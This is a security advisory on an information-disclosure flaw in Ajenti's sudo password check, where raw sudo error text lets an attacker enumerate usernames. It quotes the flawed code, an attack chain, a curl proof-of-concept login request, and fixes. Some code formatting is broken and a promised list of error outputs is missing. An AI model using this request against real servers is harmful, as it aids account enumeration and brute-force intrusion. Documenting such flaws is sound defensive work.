

Ajenti Sudo Password Verification Information Disclosure Vulnerability Report

System Fingerprint Status

Affected scope: All versions of Ajenti. The error handling logic in `check_sudo_password` has remained unpatched since its introduction.

Vulnerability Analysis

Overview

- **Issue Type:** Information Exposure Through an Error Message (CWE-209)
- **Impact Description:** By brute-forcing usernames and passwords, an attacker can leverage differences in sudo command error output to determine whether a particular username exists on the system, whether that user has sudo privileges, and detailed error information from the sudo configuration. This information can facilitate subsequent brute-force attacks and privilege escalation.
- **Affected Path:** `check_sudo_password(username, password)` → `subprocess.Popen(['sudo', '-S', '-k', '-u', username, ...])` → Error messages returned to the caller

Problematic Code

① Entry Point: sudo password verification invoked during the authentication flow

`ajenti-core/aj/auth.py:197-213`

```
1 def check_sudo_password(self, username, password):
2     if not aj.config.data['auth'].get('allow_sudo', False):
3         return False
4     sudo = subprocess.Popen(
5         ['sudo', '-S', '-k', '-u', username, '--', 'ls'],
6         stdin=subprocess.PIPE,
```

```

7     stdout=subprocess.PIPE,
8     stderr=subprocess.PIPE,
9 )
10 o, e = sudo.communicate(password.encode('utf-8') + b'\n')
11 if sudo.returncode != 0:
12     raise SudoError(
13         (o + e).decode('utf-8').splitlines()[-1].strip()
14         # ← sudo's stderr is returned directly to the caller!
15     )
16 return True

```

② Information Disclosure Point: sudo output is returned verbatim

▼

```
1 (o + e).decode('utf-8').splitlines()[-1].strip()
```

sudo produces different stderr output under different circumstances, allowing an attacker to infer system information:

③ Related Attack Surface: Password transmitted in plaintext to sudo stdin

▼

```
1 sudo.communicate(password.encode('utf-8') + b'\n')
```

The user's password is written in plaintext to the sudo process's stdin. In shared hosting or multi-tenant environments, it could be read by other processes on the same machine via `/proc/<pid>/fd/0` (the race condition window is extremely short but theoretically exists).

Attack Chain

▼

```

1 Attacker sends an AJAX request
2 → check_sudo_password("root", "wrongpass")
3 → subprocess: sudo -S -k -u root -- ls
4 → sudo stderr: "Sorry, try again."
5 → Attacker learns: the root user exists
6
7 Attacker
8 → check_sudo_password("nonexistent", "x")
9 → sudo stderr: "sudo: unknown user: nonexistent"
10 → Attacker learns: the "nonexistent" user does not exist
11 → Enables username enumeration

```

Vulnerability Reproduction

Prerequisites

- Ajenti configured with `auth.allow_sudo = True` (may be disabled by default)
- Ability to send requests to the Ajenti server's authentication endpoint

Steps

1. Send requests to the Ajenti authentication endpoint with different usernames

POC

```
1 # Check whether the root user exists (requires the correct password)
2 curl -s -X POST "http://target:8000/api/auth/login" \
3 -H "Content-Type: application/json" \
4 -d '{"username":"root","password":"test","mode":"sudo"}'
5
6 # Determine based on the sudo error message in the response:
7 # "Sorry, try again." → root exists
8 # "sudo: unknown user" → user does not exist
```

Remediation Recommendations

1. **Server-side:** `check_sudo_password` should not return raw sudo error messages to the client; it should return a unified authentication failure message (e.g., "Invalid credentials")
2. **Rate Limiting:** Implement IP-level rate limiting on the authentication endpoint to prevent username enumeration
3. **stdin Security:** Use temporary files or in-memory pipes to pass the password, avoiding writing to `/proc`-readable stdin
4. **Deployment-side:** It is not recommended to enable the `allow_sudo` option in production environments

